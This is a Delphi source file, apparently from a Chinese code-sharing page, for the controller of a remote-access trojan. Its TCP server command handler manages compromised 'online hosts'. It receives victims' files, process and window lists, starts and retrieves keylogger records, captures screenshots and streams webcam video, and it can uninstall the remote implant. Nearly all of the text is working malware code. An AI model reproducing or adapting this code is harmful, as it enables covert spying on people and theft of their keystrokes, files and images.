📄 unit1.pas
字号:
if Tmpmemo.Text='' then
begin
Tmpmemo.Free;
FileForm.Enabled:=true;
Exit;
end;
FileForm.Treeview1.items.Delete(FileForm.Treeview1.Selected.getFirstChild);
for i:=0 to Tmpmemo.Count-1 do
begin
Tmplinestr := Tmpmemo.Strings[i];
Symbolstr := Copy(tmplinestr, 1, 1);
Tmptimestr := Copy(tmplinestr, 2, 16);
Delete(tmplinestr, 1, 17);
if symbolstr = '*' then
begin
TMP := FileForm.Treeview1.items.AddChild(FileForm.Treeview1.Selected, Tmplinestr);
TMP.ImageIndex := 8;
TMP.SelectedIndex := 9;
TMP := FileForm.Treeview1.items.AddChild(TMP, '.');
TMP.ImageIndex := -1;
TMP.SelectedIndex := -1;
with FileForm.ListView1.Items.Add do
begin
Caption := tmplinestr;
subitems.text := ' ';
FileForm.ListView1.Items.Item[i].SubItems.Add(Tmptimestr);
ImageIndex := 3;
end;
end;
if symbolstr = '\' then
begin
with FileForm.ListView1.Items.Add do
begin
Caption := copy(tmplinestr, length(getfilesize(tmplinestr)) + 2, length(tmplinestr));
subitems.text := getfilesize(tmplinestr);
ImageIndex :=5 ;
end;
end;
end;
end;
FileForm.Enabled:=true;
end;
013:begin
try
AFileStream := TFileStream.Create(SaveDialog1.FileName, fmCreate);
AThread.Connection.OnWork:= MainForm.IdTCPServer1Work;
AThread.Connection.OnWorkBegin:=MainForm.IdTCPServer1WorkBegin;
AThread.Connection.OnWorkEnd:= MainForm.IdTCPServer1WorkEnd;
ASize:= AThread.Connection.ReadInteger();
AThread.Connection.ReadStream(AFileStream, ASize);
finally
AFileStream.Free;
end;
end;
020:begin
if ReadSeverStream(AThread,TempStr) then
begin
ProcessForm.ListView1.Items.Clear;
Tmpmemo := TStringList.Create;
Tmpmemo.Text:=TempStr;
// ----添加
j := 0;
for i := 0 to Tmpmemo.Count - 1 do
begin
if Tmpmemo.Strings[i] = '' then break;
j := j + 1;
if j = 1 then
begin
TheLItem :=ProcessForm.ListView1.Items.Add;
TheLItem.Caption := Tmpmemo[i];
end;
if j = 2 then TheLItem.SubItems.Add(Tmpmemo[i]);
if j = 3 then TheLItem.SubItems.Add(Tmpmemo[i]);
if j = 4 then
begin
if StrToInt(Tmpmemo[i]) <= 2 then TheLItem.SubItems.Add('暂缺') else
if StrToInt(Tmpmemo[i]) <= 4 then TheLItem.SubItems.Add('低') else
if StrToInt(Tmpmemo[i]) <= 6 then TheLItem.SubItems.Add('低于标准') else
if StrToInt(Tmpmemo[i]) <= 8 then TheLItem.SubItems.Add('标准') else
if StrToInt(Tmpmemo[i]) <= 10 then TheLItem.SubItems.Add('高于标准') else
if StrToInt(Tmpmemo[i]) <= 13 then TheLItem.SubItems.Add('高') else
if StrToInt(Tmpmemo[i]) <= 24 then TheLItem.SubItems.Add('实时') else
TheLItem.SubItems.Add('暂缺');
end;
if j = 5 then
begin
TheLItem.SubItems.Add(Tmpmemo[i]);
j := 0;
end;
end;
Tmpmemo.Free;
end;
end;
030:begin
MyStream:=TMemoryStream.Create;
i := AThread.Connection.ReadInteger;
AThread.Connection.ReadStream(MyStream, i, False);
MyStream.Position := 0;
WindowForm.ListBox1.Items.LoadFromStream(MyStream);
MyStream.Free;
end;
040:begin
if ReadSeverStream(AThread,TempStr) then
begin
if TempStr='Cmd009' then
KeyForm.Memo1.Lines.Add('启动键盘记录成功!查看记录前请先终止键盘记录!');
if TempStr='Cmd010' then
KeyForm.Memo1.Lines.Add('键盘记录已经启动过了!');
end;
end;
041:begin
if ReadSeverStream(AThread,TempStr) then
begin
if TempStr='Cmd012' then
KeyForm.Memo1.Lines.Add('终止键盘记录成功!');
end;
end;
042:begin
MyStream:=TMemoryStream.Create;
i := AThread.Connection.ReadInteger;
AThread.Connection.ReadStream(MyStream, i, False);
MyStream.Position := 0;
KeyForm.Memo1.Lines.LoadFromStream(MyStream);
MyStream.Free;
end;
043:begin
if ReadSeverStream(AThread,TempStr) then
begin
if TempStr='Cmd014' then
KeyForm.Memo1.Lines.Add('清空键盘记录完成!');
end;
end;
050:begin
BufferLen:= AThread.Connection.ReadInteger();
AThread.Connection.ReadBuffer(MyBuffer,BufferLen);
MyFirstBmp.Clear;
MyFirstBmp.Write(MyBuffer,BufferLen);
MyFirstBmp.Position := 0;
ShowImageForm.Show;
ShowImageForm.Image1.Picture.Bitmap.LoadFromStream(MyFirstBmp);
end;
060:begin
try
// repeat
while AThread.Connection.Connected do
begin
memStream := TMemoryStream.Create;
BufferLen := AThread.Connection.ReadInteger;
memStream.Size := BufferLen;
AThread.Connection.ReadBuffer(memStream.Memory^, BufferLen);
jpg := TJpegImage.Create;
jpg.LoadFromStream(memStream);
VideoForm.Image1.Picture.Bitmap.Assign(jpg);
jpg.Free;
memStream.Free;
// until (AThread.Connection.Connected=False);
end;
except
end;
end;
061:begin //擦测到摄像头
for i:=0 to count-1 do
begin
if OnlineServer[i].Soc = AThread.ThreadID then
begin
for j:=0 to ListView1.Items.Count-1 do
if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
begin
ListView1.Items.Item[j].ImageIndex:= 1;
break;
end;
end;
end;
end;
062:begin
for i:=0 to count-1 do
begin
if OnlineServer[i].Soc = AThread.ThreadID then
begin
for j:=0 to ListView1.Items.Count-1 do
if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
begin
ListView1.Items.Item[j].ImageIndex:= 0;
break;
end;
end;
end;
end;
064:begin
if ReadSeverStream(AThread,TempStr) then
VideoForm.StatusBar1.SimpleText:=TempStr;
end;
end; //end case
end;
procedure TMainForm.ListView1Click(Sender: TObject);
var
i:integer;
begin
//showmessage(inttostr(ListView1.ItemIndex ));
if ListView1.Items.Count<>0 then
if ListView1.ItemIndex <> -1 then
for i:=0 to count-1 do
begin
if OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) =ListView1.Items.Item[ListView1.ItemIndex ].Caption then //ListView1.Selected.Caption then
begin
CurrentThread:= OnlineServer[i].AThread;
break;
end;
end;
end;
procedure TMainForm.ListView1Change(Sender: TObject; Item: TListItem;
Change: TItemChange);
begin
StatusBar1.Panels.Items[1].Text:='在线主机'+inttostr(ListView1.Items.Count)+'台';
end;
procedure TMainForm.IdTCPServer1Disconnect(AThread: TIdPeerThread);
var
i,j:integer;
begin
for i:=0 to count-1 do
begin
if OnlineServer[i].Soc = AThread.ThreadID then
begin
for j:=0 to ListView1.Items.Count-1 do
begin
if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
begin
ListView1.Items.Item[j].Delete;
StatusBar1.Panels.Items[1].Text:='在线主机'+inttostr(ListView1.Items.Count)+'台';
break;
end;
end;
j:=i;
while j < count-1 do
begin
OnlineServer[j].ServerName:=OnlineServer[j+1].ServerName;
OnlineServer[j].AThread:=OnlineServer[j+1].AThread;
OnlineServer[j].Soc:= OnlineServer[j+1].Soc;
OnlineServer[j].ServerAdd:=OnlineServer[j+1].ServerAdd;
OnlineServer[j].AdderStr:= OnlineServer[j+1].AdderStr;
inc(j);
end;
dec(count);
break;
end;
end;
end;
procedure TMainForm.SpeedButton6Click(Sender: TObject);
begin
ZhuDongCmdSend('020','',false);
ProcessForm.Show;
end;
procedure TMainForm.SpeedButton7Click(Sender: TObject);
begin
ZhuDongCmdSend('030','',false);
WindowForm.Show;
end;
procedure TMainForm.SpeedButton8Click(Sender: TObject);
begin
KeyForm.Show;
end;
procedure TMainForm.CapScrBtnClick(Sender: TObject);
begin
ZhuDongCmdSend('050', '', false);
end;
procedure TMainForm.MsgerBtnClick(Sender: TObject);
begin
VideoForm.Show;
end;
procedure TMainForm.N11Click(Sender: TObject);
begin
CtreatSForm.Show;
end;
procedure TMainForm.IdTCPServer1Work(Sender: TObject;
AWorkMode: TWorkMode; const AWorkCount: Integer);
begin
try
ProgressForm.Gauge1.Progress := AWorkCount;
Application.ProcessMessages;
except
end;
end;
procedure TMainForm.IdTCPServer1WorkBegin(Sender: TObject;
AWorkMode: TWorkMode; const AWorkCountMax: Integer);
begin
try
ProgressForm.Gauge1.Progress := 0;
ProgressForm.Gauge1.MaxValue := AWorkCountMax;
except
end;
end;
procedure TMainForm.IdTCPServer1WorkEnd(Sender: TObject;
AWorkMode: TWorkMode);
begin
ProgressForm.Close;
end;
procedure TMainForm.RemoveComputerBtnClick(Sender: TObject);
begin
if MessageBox(Application.Handle,'你确定要卸载远程服务端吗?这样你将失去对远程主机的控制!','提示!',MB_OKCANCEL)=1 then
ZhuDongCmdSend('080','',false);
end;
procedure TMainForm.N3Click(Sender: TObject);
begin
Close;
end;
procedure TMainForm.N2Click(Sender: TObject);
begin
AutoForm.Show;
end;
procedure TMainForm.ExitBtnClick(Sender: TObject);
begin
close;
end;
procedure TMainForm.N13Click(Sender: TObject);
begin
AboutForm.Show;
end;
procedure TMainForm.HideBtnClick(Sender: TObject);
begin
application.Minimize;
end;
procedure TMainForm.N14Click(Sender: TObject);
begin
ShellExecute(0,nil,PChar('http://www.duguxike.com'), nil, nil, SW_NORMAL);
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -